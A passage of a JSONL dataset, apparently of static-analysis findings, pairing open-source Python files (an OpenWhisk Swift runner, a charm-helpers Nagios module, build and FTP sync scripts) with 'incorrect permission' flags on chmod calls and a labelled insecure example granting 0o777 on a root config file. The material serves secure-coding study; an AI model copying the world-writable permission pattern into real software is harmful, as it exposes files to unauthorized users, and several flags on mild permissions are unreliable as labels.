sys\nimport subprocess\nimport codecs\nimport json\nsys.path.append('../actionProxy')\nfrom actionproxy import ActionRunner, main, setRunner  # noqa\n\nSRC_EPILOGUE_FILE = '/swift3Action/epilogue.swift'\nDEST_SCRIPT_FILE = '/swift3Action/spm-build/main.swift'\nDEST_SCRIPT_DIR = '/swift3Action/spm-build'\nDEST_BIN_FILE = '/swift3Action/spm-build/.build/release/Action'\n\nBUILD_PROCESS = ['./swiftbuildandlink.sh']\n\n\nclass Swift3Runner(ActionRunner):\n\n    def __init__(self):\n        ActionRunner.__init__(self, DEST_SCRIPT_FILE, DEST_BIN_FILE)\n\n    # remove pre-existing binary before receiving a new binary\n    def preinit(self):\n        try:\n            os.remove(self.binary)\n        except: pass\n\n    def epilogue(self, init_message):\n        # skip if executable already exists (was unzipped)\n        if os.path.isfile(self.binary):\n            return\n\n        if 'main' in init_message:\n            main_function = init_message['main']\n        else:\n            main_function = 'main'\n        # make sure there is a main.swift file\n        open(DEST_SCRIPT_FILE, 'a').close()\n\n        with codecs.open(DEST_SCRIPT_FILE, 'a', 'utf-8') as fp:\n            os.chdir(DEST_SCRIPT_DIR)\n            for file in glob.glob(\"*.swift\"):\n                if file not in [\"Package.swift\", \"main.swift\", \"_WhiskJSONUtils.swift\", \"_Whisk.swift\"]:\n                    with codecs.open(file, 'r', 'utf-8') as f:\n                        fp.write(f.read())\n            with codecs.open(SRC_EPILOGUE_FILE, 'r', 'utf-8') as ep:\n                fp.write(ep.read())\n\n            fp.write('_run_main(mainFunction: %s)\\n' % main_function)\n\n    def build(self, init_message):\n        # short circuit the build, if there already exists a binary\n        # from the zip file\n        if os.path.isfile(self.binary):\n            # file may not have executable permission, set it\n            os.chmod(self.binary, 0o555)\n            return\n\n        p = subprocess.Popen(\n            BUILD_PROCESS,\n            stdout=subprocess.PIPE,\n            stderr=subprocess.PIPE,\n            cwd=DEST_SCRIPT_DIR)\n\n        # run the process and wait until it completes.\n        # stdout/stderr will not be None because we passed PIPEs to Popen\n        (o, e) = p.communicate()\n\n        # stdout/stderr may be either text or bytes, depending on Python\n        # version, so if bytes, decode to text. Note that in Python 2\n        # a string will match both types; so also skip decoding in that case\n        if isinstance(o, bytes) and not isinstance(o, str):\n            o = o.decode('utf-8')\n        if isinstance(e, bytes) and not isinstance(e, str):\n            e = e.decode('utf-8')\n\n        if o:\n            sys.stdout.write(o)\n            sys.stdout.flush()\n\n        if e:\n            sys.stderr.write(e)\n            sys.stderr.flush()\n\n    def env(self, message):\n        env = ActionRunner.env(self, message)\n        args = message.get('value', {}) if message else {}\n        env['WHISK_INPUT'] = json.dumps(args)\n        return env\n\n\nif __name__ == '__main__':\n    setRunner(Swift3Runner())\n    main()", "dangerousExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o777)\n3. \n4.     with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is insecure because Read, Write, and Execute permissions are granted to all users.", "safeExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o700)\n3. \n4.     with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is secure because full privileges are granted to its owner alone.", "contexts": [{"lineNo": 74, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "75"}}, {"lineNo": 76, "eventType": "sink", "messageKey": "pythonchk.INCORRECT_PERMISSION_ASSIGNMENT_FOR_CRITICAL_RESOURCE.PYTHON.defect.chmod", "params": {}}]}}
{"id": "8d85c947b56cf301d23f96f21013b2ab08ec6999333130b81bc3873ce854d099", "license": {"spdx": ["Apache-2.0"], "repo": "nobuto-m/charm-helpers", "path": "charmhelpers/contrib/charmsupport/nrpe.py", "repo_head_hexsha": "4cffc05ace43234d34b040cccdde3460f68cb673", "stack_hexsha": "a3d89936d8b1b9966571e7248379800a7bb8190c", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Incorrect Authorization for Critical Resources", "issueDescriptionEn": "If accesses to Read or Modify modes are unintentionally granted for security-related resources by an application, the resources may be used by unauthorized users.\nPython's `os.fchmod`, `os.chmod`, and other functions are used to grant a user access to file creation, Read Mode, etc.\nSet permissions to allow only SW administrators to read and write configuration files, executable files, libraries, etc.", "issueLineNumber": 441, "entireCode": "# Copyright 2014-2015 Canonical Limited.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#  http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Compatibility with the nrpe-external-master charm\"\"\"\n# Copyright 2012 Canonical Ltd.\n#\n# Authors:\n#   <>\n\nimport subprocess\nimport pwd\nimport grp\nimport os\nimport glob\nimport shutil\nimport re\nimport shlex\nimport yaml\n\nfrom charmhelpers.core.hookenv import (\n    config,\n    hook_name,\n    local_unit,\n    log,\n    relation_get,\n    relation_ids,\n    relation_set,\n    relations_of_type,\n)\n\nfrom charmhelpers.core.host import service\nfrom charmhelpers.core import host\n\n# This module adds compatibility with the nrpe-external-master and plain nrpe\n# subordinate charms. To use it in your charm:\n#\n# 1. Update metadata.yaml\n#\n#   provides:\n#     (...)\n#     nrpe-external-master:\n#       interface: nrpe-external-master\n#       scope: container\n#\n#   and/or\n#\n#   provides:\n#     (...)\n#     local-monitors:\n#       interface: local-monitors\n#       scope: container\n\n#\n# 2. Add the following to config.yaml\n#\n#    nagios_context:\n#      default: \"juju\"\n#      type: string\n#      description: |\n#        Used by the nrpe subordinate charms.\n#        A string that will be prepended to instance name to set the host name\n#        in nagios. So for instance the hostname would be something like:\n#            juju-myservice-0\n#        If you're running multiple environments with the same services in them\n#        this allows you to differentiate between them.\n#    nagios_servicegroups:\n#      default: \"\"\n#      type: string\n#      description: |\n#        A comma-separated list of nagios servicegroups.\n#        If left empty, the nagios_context will be used as the servicegroup\n#\n# 3. Add custom checks (Nagios plugins) to files/nrpe-external-master\n#\n# 4. Update your hooks.py with something like this:\n#\n#    from charmsupport.nrpe import NRPE\n#    (...)\n#    def update_nrpe_config():\n#        nrpe_compat = NRPE()\n#        nrpe_compat.add_check(\n#            shortname = \"myservice\",\n#            description = \"Check MyService\",\n#            check_cmd = \"check_http -w 2 -c 10 http://localhost\"\n#            )\n#        nrpe_compat.add_check(\n#            \"myservice_other\",\n#            \"Check for widget failures\",\n#            check_cmd = \"/srv/myapp/scripts/widget_check\"\n#            )\n#        nrpe_compat.write()\n#\n#    def config_changed():\n#        (...)\n#        update_nrpe_config()\n#\n#    def nrpe_external_master_relation_changed():\n#        update_nrpe_config()\n#\n#    def local_monitors_relation_changed():\n#        update_nrpe_config()\n#\n# 4.a If your charm is a subordinate charm set primary=False\n#\n#    from charmsupport.nrpe import NRPE\n#    (...)\n#    def update_nrpe_config():\n#        nrpe_compat = NRPE(primary=False)\n#\n# 5. ln -s hooks.py nrpe-external-master-relation-changed\n#    ln -s hooks.py local-monitors-relation-changed\n\n\nclass CheckException(Exception):\n    pass\n\n\nclass Check(object):\n    shortname_re = '[A-Za-z0-9-_.@]+$'\n    service_template = (\"\"\"\n#---------------------------------------------------\n# This file is Juju managed\n#---------------------------------------------------\ndefine service {{\n    use                             active-service\n    host_name                       {nagios_hostname}\n    service_description             {nagios_hostname}[{shortname}] \"\"\"\n                        \"\"\"{description}\n    check_command                   check_nrpe!{command}\n    servicegroups                   {nagios_servicegroup}\n}}\n\"\"\")\n\n    def __init__(self, shortname, description, check_cmd):\n        super(Check, self).__init__()\n        # XXX: could be better to calculate this from the service name\n        if not re.match(self.shortname_re, shortname):\n            raise CheckException(\"shortname must match {}\".format(\n                Check.shortname_re))\n        self.shortname = shortname\n        self.command = \"check_{}\".format(shortname)\n        # Note: a set of invalid characters is defined by the\n        # Nagios server config\n        # The default is: illegal_object_name_chars=`~!$%^&*\"|'<>?,()=\n        self.description = description\n        self.check_cmd = self._locate_cmd(check_cmd)\n\n    def _get_check_filename(self):\n        return os.path.join(NRPE.nrpe_confdir, '{}.cfg'.format(self.command))\n\n    def _get_service_filename(self, hostname):\n        return os.path.join(NRPE.nagios_exportdir,\n                            'service__{}_{}.cfg'.format(hostname, self.command))\n\n    def _locate_cmd(self, check_cmd):\n        search_path = (\n            '/usr/lib/nagios/plugins',\n            '/usr/local/lib/nagios/plugins',\n        )\n        parts = shlex.split(check_cmd)\n        for path in search_path:\n            if os.path.exists(os.path.join(path, parts[0])):\n                command = os.path.join(path, parts[0])\n                if len(parts) > 1:\n                    command += \" \" + \" \".join(parts[1:])\n                return command\n        log('Check command not found: {}'.format(parts[0]))\n        return ''\n\n    def _remove_service_files(self):\n        if not os.path.exists(NRPE.nagios_exportdir):\n            return\n        for f in os.listdir(NRPE.nagios_exportdir):\n            if f.endswith('_{}.cfg'.format(self.command)):\n                os.remove(os.path.join(NRPE.nagios_exportdir, f))\n\n    def remove(self, hostname):\n        nrpe_check_file = self._get_check_filename()\n        if os.path.exists(nrpe_check_file):\n            os.remove(nrpe_check_file)\n        self._remove_service_files()\n\n    def write(self, nagios_context, hostname, nagios_servicegroups):\n        nrpe_check_file = self._get_check_filename()\n        with open(nrpe_check_file, 'w') as nrpe_check_config:\n            nrpe_check_config.write(\"# check {}\\n\".format(self.shortname))\n            if nagios_servicegroups:\n                nrpe_check_config.write(\n                    \"# The following header was added automatically by juju\\n\")\n                nrpe_check_config.write(\n                    \"# Modifying it will affect nagios monitoring and alerting\\n\")\n                nrpe_check_config.write(\n                    \"# servicegroups: {}\\n\".format(nagios_servicegroups))\n            nrpe_check_config.write(\"command[{}]={}\\n\".format(\n                self.command, self.check_cmd))\n\n        if not os.path.exists(NRPE.nagios_exportdir):\n            log('Not writing service config as {} is not accessible'.format(\n                NRPE.nagios_exportdir))\n        else:\n            self.write_service_config(nagios_context, hostname,\n                                      nagios_servicegroups)\n\n    def write_service_config(self, nagios_context, hostname,\n                             nagios_servicegroups):\n        self._remove_service_files()\n\n        templ_vars = {\n            'nagios_hostname': hostname,\n            'nagios_servicegroup': nagios_servicegroups,\n            'description': self.description,\n            'shortname': self.shortname,\n            'command': self.command,\n        }\n        nrpe_service_text = Check.service_template.format(**templ_vars)\n        nrpe_service_file = self._get_service_filename(hostname)\n        with open(nrpe_service_file, 'w') as nrpe_service_config:\n            nrpe_service_config.write(str(nrpe_service_text))\n\n    def run(self):\n        subprocess.call(self.check_cmd)\n\n\nclass NRPE(object):\n    nagios_logdir = '/var/log/nagios'\n    nagios_exportdir = '/var/lib/nagios/export'\n    nrpe_confdir = '/etc/nagios/nrpe.d'\n    homedir = '/var/lib/nagios'  # home dir provided by nagios-nrpe-server\n\n    def __init__(self, hostname=None, primary=True):\n        super(NRPE, self).__init__()\n        self.config = config()\n        self.primary = primary\n        self.nagios_context = self.config['nagios_context']\n        if 'nagios_servicegroups' in self.config and self.config['nagios_servicegroups']:\n            self.nagios_servicegroups = self.config['nagios_servicegroups']\n        else:\n            self.nagios_servicegroups = self.nagios_context\n        self.unit_name = local_unit().replace('/', '-')\n        if hostname:\n            self.hostname = hostname\n        else:\n            nagios_hostname = get_nagios_hostname()\n            if nagios_hostname:\n                self.hostname = nagios_hostname\n            else:\n                self.hostname = \"{}-{}\".format(self.nagios_context, self.unit_name)\n        self.checks = []\n        # Iff in an nrpe-external-master relation hook, set primary status\n        relation = relation_ids('nrpe-external-master')\n        if relation:\n            log(\"Setting charm primary status {}\".format(primary))\n            for rid in relation:\n                relation_set(relation_id=rid, relation_settings={'primary': self.primary})\n        self.remove_check_queue = set()\n\n    def add_check(self, *args, **kwargs):\n        shortname = None\n        if kwargs.get('shortname') is None:\n            if len(args) > 0:\n                shortname = args[0]\n        else:\n            shortname = kwargs['shortname']\n\n        self.checks.append(Check(*args, **kwargs))\n        try:\n            self.remove_check_queue.remove(shortname)\n        except KeyError:\n            pass\n\n    def remove_check(self, *args, **kwargs):\n        if kwargs.get('shortname') is None:\n            raise ValueError('shortname of check must be specified')\n\n        # Use sensible defaults if they're not specified - these are not\n        # actually used during removal, but they're required for constructing\n        # the Check object; check_disk is chosen because it's part of the\n        # nagios-plugins-basic package.\n        if kwargs.get('check_cmd') is None:\n            kwargs['check_cmd'] = 'check_disk'\n        if kwargs.get('description') is None:\n            kwargs['description'] = ''\n\n        check = Check(*args, **kwargs)\n        check.remove(self.hostname)\n        self.remove_check_queue.add(kwargs['shortname'])\n\n    def write(self):\n        try:\n            nagios_uid = pwd.getpwnam('nagios').pw_uid\n            nagios_gid = grp.getgrnam('nagios').gr_gid\n        except Exception:\n            log(\"Nagios user not set up, nrpe checks not updated\")\n            return\n\n        if not os.path.exists(NRPE.nagios_logdir):\n            os.mkdir(NRPE.nagios_logdir)\n            os.chown(NRPE.nagios_logdir, nagios_uid, nagios_gid)\n\n        nrpe_monitors = {}\n        monitors = {\"monitors\": {\"remote\": {\"nrpe\": nrpe_monitors}}}\n        for nrpecheck in self.checks:\n            nrpecheck.write(self.nagios_context, self.hostname,\n                            self.nagios_servicegroups)\n            nrpe_monitors[nrpecheck.shortname] = {\n                \"command\": nrpecheck.command,\n            }\n\n        # update-status hooks are configured to firing every 5 minutes by\n        # default. When nagios-nrpe-server is restarted, the nagios server\n        # reports checks failing causing unnecessary alerts. Let's not restart\n        # on update-status hooks.\n        if not hook_name() == 'update-status':\n            service('restart', 'nagios-nrpe-server')\n\n        monitor_ids = relation_ids(\"local-monitors\") + \\\n            relation_ids(\"nrpe-external-master\")\n        for rid in monitor_ids:\n            reldata = relation_get(unit=local_unit(), rid=rid)\n            if 'monitors' in reldata:\n                # update the existing set of monitors with the new data\n                old_monitors = yaml.safe_load(reldata['monitors'])\n                old_nrpe_monitors = old_monitors['monitors']['remote']['nrpe']\n                # remove keys that are in the remove_check_queue\n                old_nrpe_monitors = {k: v for k, v in old_nrpe_monitors.items()\n                                     if k not in self.remove_check_queue}\n                # update/add nrpe_monitors\n                old_nrpe_monitors.update(nrpe_monitors)\n                old_monitors['monitors']['remote']['nrpe'] = old_nrpe_monitors\n                # write back to the relation\n                relation_set(relation_id=rid, monitors=yaml.dump(old_monitors))\n            else:\n                # write a brand new set of monitors, as no existing ones.\n                relation_set(relation_id=rid, monitors=yaml.dump(monitors))\n\n        self.remove_check_queue.clear()\n\n\ndef get_nagios_hostcontext(relation_name='nrpe-external-master'):\n    \"\"\"\n    Query relation with nrpe subordinate, return the nagios_host_context\n\n    :param str relation_name: Name of relation nrpe sub joined to\n    \"\"\"\n    for rel in relations_of_type(relation_name):\n        if 'nagios_host_context' in rel:\n            return rel['nagios_host_context']\n\n\ndef get_nagios_hostname(relation_name='nrpe-external-master'):\n    \"\"\"\n    Query relation with nrpe subordinate, return the nagios_hostname\n\n    :param str relation_name: Name of relation nrpe sub joined to\n    \"\"\"\n    for rel in relations_of_type(relation_name):\n        if 'nagios_hostname' in rel:\n            return rel['nagios_hostname']\n\n\ndef get_nagios_unit_name(relation_name='nrpe-external-master'):\n    \"\"\"\n    Return the nagios unit name prepended with host_context if needed\n\n    :param str relation_name: Name of relation nrpe sub joined to\n    \"\"\"\n    host_context = get_nagios_hostcontext(relation_name)\n    if host_context:\n        unit = \"%s:%s\" % (host_context, local_unit())\n    else:\n        unit = local_unit()\n    return unit\n\n\ndef add_init_service_checks(nrpe, services, unit_name, immediate_check=True):\n    \"\"\"\n    Add checks for each service in list\n\n    :param NRPE nrpe: NRPE object to add check to\n    :param list services: List of services to check\n    :param str unit_name: Unit name to use in check description\n    :param bool immediate_check: For sysv init, run the service check immediately\n    \"\"\"\n    for svc in services:\n        # Don't add a check for these services from neutron-gateway\n        if svc in ['ext-port', 'os-charm-phy-nic-mtu']:\n            next\n\n        upstart_init = '/etc/init/%s.conf' % svc\n        sysv_init = '/etc/init.d/%s' % svc\n\n        if host.init_is_systemd():\n            nrpe.add_check(\n                shortname=svc,\n                description='process check {%s}' % unit_name,\n                check_cmd='check_systemd.py %s' % svc\n            )\n        elif os.path.exists(upstart_init):\n            nrpe.add_check(\n                shortname=svc,\n                description='process check {%s}' % unit_name,\n                check_cmd='check_upstart_job %s' % svc\n            )\n        elif os.path.exists(sysv_init):\n            cronpath = '/etc/cron.d/nagios-service-check-%s' % svc\n            checkpath = '%s/service-check-%s.txt' % (nrpe.homedir, svc)\n            croncmd = (\n                '/usr/local/lib/nagios/plugins/check_exit_status.pl '\n                '-e -s /etc/init.d/%s status' % svc\n            )\n            cron_file = '*/5 * * * * root %s > %s\\n' % (croncmd, checkpath)\n            f = open(cronpath, 'w')\n            f.write(cron_file)\n            f.close()\n            nrpe.add_check(\n                shortname=svc,\n                description='service check {%s}' % unit_name,\n                check_cmd='check_status_file.py -f %s' % checkpath,\n            )\n            # if /var/lib/nagios doesn't exist open(checkpath, 'w') will fail\n            # (LP: #1670223).\n            if immediate_check and os.path.isdir(nrpe.homedir):\n                f = open(checkpath, 'w')\n                subprocess.call(\n                    croncmd.split(),\n                    stdout=f,\n                    stderr=subprocess.STDOUT\n                )\n                f.close()\n                os.chmod(checkpath, 0o644)\n\n\ndef copy_nrpe_checks(nrpe_files_dir=None):\n    \"\"\"\n    Copy the nrpe checks into place\n\n    \"\"\"\n    NAGIOS_PLUGINS = '/usr/local/lib/nagios/plugins'\n    if nrpe_files_dir is None:\n        # determine if \"charmhelpers\" is in CHARMDIR or CHARMDIR/hooks\n        for segment in ['.', 'hooks']:\n            nrpe_files_dir = os.path.abspath(os.path.join(\n                os.getenv('CHARM_DIR'),\n                segment,\n                'charmhelpers',\n                'contrib',\n                'openstack',\n                'files'))\n            if os.path.isdir(nrpe_files_dir):\n                break\n        else:\n            raise RuntimeError(\"Couldn't find charmhelpers directory\")\n    if not os.path.exists(NAGIOS_PLUGINS):\n        os.makedirs(NAGIOS_PLUGINS)\n    for fname in glob.glob(os.path.join(nrpe_files_dir, \"check_*\")):\n        if os.path.isfile(fname):\n            shutil.copy2(fname,\n                         os.path.join(NAGIOS_PLUGINS, os.path.basename(fname)))\n\n\ndef add_haproxy_checks(nrpe, unit_name):\n    \"\"\"\n    Add checks for each service in list\n\n    :param NRPE nrpe: NRPE object to add check to\n    :param str unit_name: Unit name to use in check description\n    \"\"\"\n    nrpe.add_check(\n        shortname='haproxy_servers',\n        description='Check HAProxy {%s}' % unit_name,\n        check_cmd='check_haproxy.sh')\n    nrpe.add_check(\n        shortname='haproxy_queue',\n        description='Check HAProxy queue depth {%s}' % unit_name,\n        check_cmd='check_haproxy_queue_depth.sh')", "dangerousExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o777)\n3. \n4.     with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is insecure because Read, Write, and Execute permissions are granted to all users.", "safeExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o700)\n3. \n4.     with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is secure because full privileges are granted to its owner alone.", "contexts": [{"lineNo": 433, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "433"}}, {"lineNo": 441, "eventType": "sink", "messageKey": "pythonchk.INCORRECT_PERMISSION_ASSIGNMENT_FOR_CRITICAL_RESOURCE.PYTHON.defect.chmod", "params": {}}]}}
{"id": "cc29cb0f0cdf20722ba3f0b9e510c73ce13cb56df197bcbbd2dbae7be068eba8", "license": {"spdx": ["MIT"], "repo": "marble/Toolchain_RenderDocumentation", "path": "18-Make-and-build/42-Latex/run_45-Copy-latex-typo3-stuff.py", "repo_head_hexsha": "1b206c0478b7418a628233e9e1fd36eeb4224185", "stack_hexsha": "1db3723a72818283ab89562ed96cdc5069ece039", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Incorrect Authorization for Critical Resources", "issueDescriptionEn": "If accesses to Read or Modify modes are unintentionally granted for security-related resources by an application, the resources may be used by unauthorized users.\nPython's `os.fchmod`, `os.chmod`, and other functions are used to grant a user access to file creation, Read Mode, etc.\nSet permissions to allow only SW administrators to read and write configuration files, executable files, libraries, etc.", "issueLineNumber": 127, "entireCode": "#!/usr/bin/env python\n# coding: utf-8\n\nfrom __future__ import print_function\nfrom __future__ import absolute_import\n\nimport os\nimport re\nimport shutil\nimport stat\nimport sys\nimport tct\n\nfrom os.path import exists as ospe, join as ospj\nfrom tct import deepget\n\nparams = tct.readjson(sys.argv[1])\nbinabspath = sys.argv[2]\nfacts = tct.readjson(params['factsfile'])\nmilestones = tct.readjson(params['milestonesfile'])\nreason = ''\nresultfile = params['resultfile']\nresult = tct.readjson(resultfile)\nloglist = result['loglist'] = result.get('loglist', [])\ntoolname = params['toolname']\ntoolname_pure = params['toolname_pure']\nworkdir = params['workdir']\nexitcode = CONTINUE = 0\n\n\n# ==================================================\n# Make a copy of milestones for later inspection?\n# --------------------------------------------------\n\nif 0 or milestones.get('debug_always_make_milestones_snapshot'):\n    tct.make_snapshot_of_milestones(params['milestonesfile'], sys.argv[1])\n\n\n# ==================================================\n# Helper functions\n# --------------------------------------------------\n\ndef lookup(D, *keys, **kwdargs):\n    result = deepget(D, *keys, **kwdargs)\n    loglist.append((keys, result))\n    return result\n\n\n# ==================================================\n# define\n# --------------------------------------------------\n\ncopied_latex_resources = []\nrun_latex_make_sh_file = None\nxeq_name_cnt = 0\n\n\n# ==================================================\n# Check params\n# --------------------------------------------------\n\nif exitcode == CONTINUE:\n    loglist.append('CHECK PARAMS')\n\n    make_latex = lookup(milestones, 'make_latex', default=None)\n    if not make_latex:\n        CONTINUE == -2\n        reason = 'Nothing to do'\n\nif exitcode == CONTINUE:\n    build_latex = lookup(milestones, 'build_latex', default=None)\n    builder_latex_folder = lookup(milestones, 'builder_latex_folder', default=None)\n    latex_contrib_typo3_folder = lookup(milestones,\n                                        'latex_contrib_typo3_folder',\n                                        default=None)\n    if not (1\n            and build_latex\n            and builder_latex_folder\n            and latex_contrib_typo3_folder):\n        CONTINUE = -2\n        reason = 'Bad params or nothing to do'\n\nif exitcode == CONTINUE:\n    loglist.append('PARAMS are ok')\nelse:\n    loglist.append('Bad PARAMS or nothing to do')\n\n\n# ==================================================\n# work\n# --------------------------------------------------\n\nif exitcode == CONTINUE:\n    if not os.path.isdir(latex_contrib_typo3_folder):\n        exitcode = 22\n        reason = 'Folder does not exist'\n\nif exitcode == CONTINUE:\n    foldername = os.path.split(latex_contrib_typo3_folder)[1]\n    destpath = ospj(builder_latex_folder, foldername)\n    shutil.copytree(latex_contrib_typo3_folder, destpath)\n\nif exitcode == CONTINUE:\n    run_latex_make_sh_file = ospj(builder_latex_folder, 'run-make.sh')\n    f2text = (\n        \"#!/bin/bash\\n\"\n        \"\\n\"\n        \"# This is run-make.sh\\n\"\n        \"\\n\"\n        'scriptdir=$( cd $(dirname \"$0\") ; pwd -P )'\n        \"\\n\"\n        \"# cd to this dir\\n\"\n        \"pushd \\\"$scriptdir\\\" >/dev/null\\n\"\n        \"\\n\"\n        \"# set environment var pointing to the folder and run make\\n\"\n        \"TEXINPUTS=::texmf_typo3   make\\n\"\n        \"\\n\"\n        \"popd >/dev/null\\n\"\n        \"\\n\"\n    )\n    with open(run_latex_make_sh_file, 'w') as f2:\n        f2.write(f2text)\n\n    file_permissions = (os.stat(run_latex_make_sh_file).st_mode | stat.S_IXUSR\n                                                          | stat.S_IXGRP\n                                                          | stat.S_IXOTH)\n    os.chmod(run_latex_make_sh_file, file_permissions)\n\nif exitcode == CONTINUE:\n    makefile_path = ospj(builder_latex_folder, 'Makefile')\n    makefile_original_path = makefile_path + '.original'\n    if ospe(makefile_path) and not ospe(makefile_original_path):\n        shutil.copy2(makefile_path, makefile_original_path)\n    with open(makefile_path, 'rb') as f1:\n        data = f1.read()\n    data, cnt = re.subn(\"LATEXMKOPTS[ ]*=[ ]*\\n\", \"\\n\\n\\n\\nLATEXMKOPTS = -interaction=nonstopmode\\n\\n\\n\\n\\n\", data)\n    if cnt:\n        with open(makefile_path, 'wb') as f2:\n            f2.write(data)\n\n\n# ==================================================\n# Set MILESTONE\n# --------------------------------------------------\n\nif copied_latex_resources:\n    result['MILESTONES'].append({'copied_latex_resources':\n                                 copied_latex_resources})\n\nif run_latex_make_sh_file:\n    result['MILESTONES'].append({'run_latex_make_sh_file':\n                                 run_latex_make_sh_file})\n\n\n# ==================================================\n# save result\n# --------------------------------------------------\n\ntct.save_the_result(result, resultfile, params, facts, milestones, exitcode, CONTINUE, reason)\n\n\n# ==================================================\n# Return with proper exitcode\n# --------------------------------------------------\n\nsys.exit(exitcode)", "dangerousExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o777)\n3. \n4.     with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is insecure because Read, Write, and Execute permissions are granted to all users.", "safeExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o700)\n3. \n4.     with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is secure because full privileges are granted to its owner alone.", "contexts": [{"lineNo": 103, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "103"}}, {"lineNo": 127, "eventType": "sink", "messageKey": "pythonchk.INCORRECT_PERMISSION_ASSIGNMENT_FOR_CRITICAL_RESOURCE.PYTHON.defect.chmod", "params": {}}]}}
{"id": "2fab98553efb1d3963ca24c98c284f953b5001eb39292bfac66be362f7560907", "license": {"spdx": ["MIT"], "repo": "SmithB/SMBcorr", "path": "scripts/ftp_mar_data.py", "repo_head_hexsha": "7c35cf8383058986fd82b28beab3c5580f9f8667", "stack_hexsha": "9cc8a27b231af691d3fbf8c4702b4f91f01e88a2", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Incorrect Authorization for Critical Resources", "issueDescriptionEn": "If accesses to Read or Modify modes are unintentionally granted for security-related resources by an application, the resources may be used by unauthorized users.\nPython's `os.fchmod`, `os.chmod`, and other functions are used to grant a user access to file creation, Read Mode, etc.\nSet permissions to allow only SW administrators to read and write configuration files, executable files, libraries, etc.", "issueLineNumber": 104, "entireCode": "#!/usr/bin/env python\nu\"\"\"\nftp_mar_data.py\nWritten by  (05/2020)\n\nSyncs MAR regional climate outputs for a given ftp url\n    ftp://ftp.climato.be/fettweis\n\nCALLING SEQUENCE:\n    python ftp_mar_data.py --directory= \n\nINPUTS:\n    full ftp url\n\nCOMMAND LINE OPTIONS:\n    --help: list the command line options\n    -P X, --np=X: Run in parallel with X number of processes\n    -D X, --directory=X: full path to working data directory\n    -Y X, --year=X: Reduce files to years of interest\n    -C, --clobber: Overwrite existing data in transfer\n    -M X, --mode=X: Local permissions mode of the directories and files synced\n\nUPDATE HISTORY:\n    Updated 05/2020: added years option to reduce list of files\n    Updated 11/2019: added multiprocessing option to run in parallel\n    Written 07/2019\n\"\"\"\nfrom __future__ import print_function\n\nimport sys\nimport getopt\nimport os\nimport re\nimport calendar, time\nimport ftplib\nimport traceback\nimport posixpath\nimport multiprocessing\nif sys.version_info[0] == 2:\n    import urlparse\nelse:\n    import urllib.parse as urlparse\n\n#-- PURPOSE: check internet connection\ndef check_connection():\n    #-- attempt to connect to ftp host for MAR datasets\n    try:\n        f = ftplib.FTP('ftp.climato.be')\n        f.login()\n        f.voidcmd(\"NOOP\")\n    except IOError:\n        raise RuntimeError('Check internet connection')\n    else:\n        return True\n\n#-- PURPOSE: sync local MAR files with ftp and handle error exceptions\ndef ftp_mar_data(netloc, remote_file, local_file, CLOBBER=False, MODE=0o775):\n    #-- try to download the file\n    try:\n        #-- connect and login to MAR ftp server\n        ftp = ftplib.FTP(netloc)\n        ftp.login()\n        ftp_mirror_file(ftp,remote_file,local_file,CLOBBER=CLOBBER,MODE=MODE)\n    except:\n        #-- if there has been an error exception\n        #-- print the type, value, and stack trace of the\n        #-- current exception being handled\n        print('process id {0:d} failed'.format(os.getpid()))\n        traceback.print_exc()\n    else:\n        #-- close the ftp connection\n        ftp.quit()\n\n#-- PURPOSE: pull file from a remote host checking if file exists locally\n#-- and if the remote file is newer than the local file\ndef ftp_mirror_file(ftp, remote_file, local_file, CLOBBER=False, MODE=0o775):\n    #-- if file exists in file system: check if remote file is newer\n    TEST = False\n    OVERWRITE = ' (clobber)'\n    #-- get last modified date of remote file and convert into unix time\n    mdtm = ftp.sendcmd('MDTM {0}'.format(remote_file))\n    remote_mtime = calendar.timegm(time.strptime(mdtm[4:],\"%Y%m%d%H%M%S\"))\n    #-- check if local version of file exists\n    if os.access(local_file, os.F_OK):\n        #-- check last modification time of local file\n        local_mtime = os.stat(local_file).st_mtime\n        #-- if remote file is newer: overwrite the local file\n        if (remote_mtime > local_mtime):\n            TEST = True\n            OVERWRITE = ' (overwrite)'\n    else:\n        TEST = True\n        OVERWRITE = ' (new)'\n    #-- if file does not exist locally, is to be overwritten, or CLOBBER is set\n    if TEST or CLOBBER:\n        #-- Printing files transferred\n        print('{0} -->'.format(posixpath.join('ftp://',ftp.host,remote_file)))\n        print('\\t{0}{1}\\n'.format(local_file,OVERWRITE))\n        #-- copy remote file contents to local file\n        with open(local_file, 'wb') as f:\n            ftp.retrbinary('RETR {0}'.format(remote_file), f.write)\n        #-- keep remote modification time of file and local access time\n        os.utime(local_file, (os.stat(local_file).st_atime, remote_mtime))\n        os.chmod(local_file, MODE)\n\n#-- PURPOSE: help module to describe the optional input parameters\ndef usage():\n    print('\\nHelp: {}'.format(os.path.basename(sys.argv[0])))\n    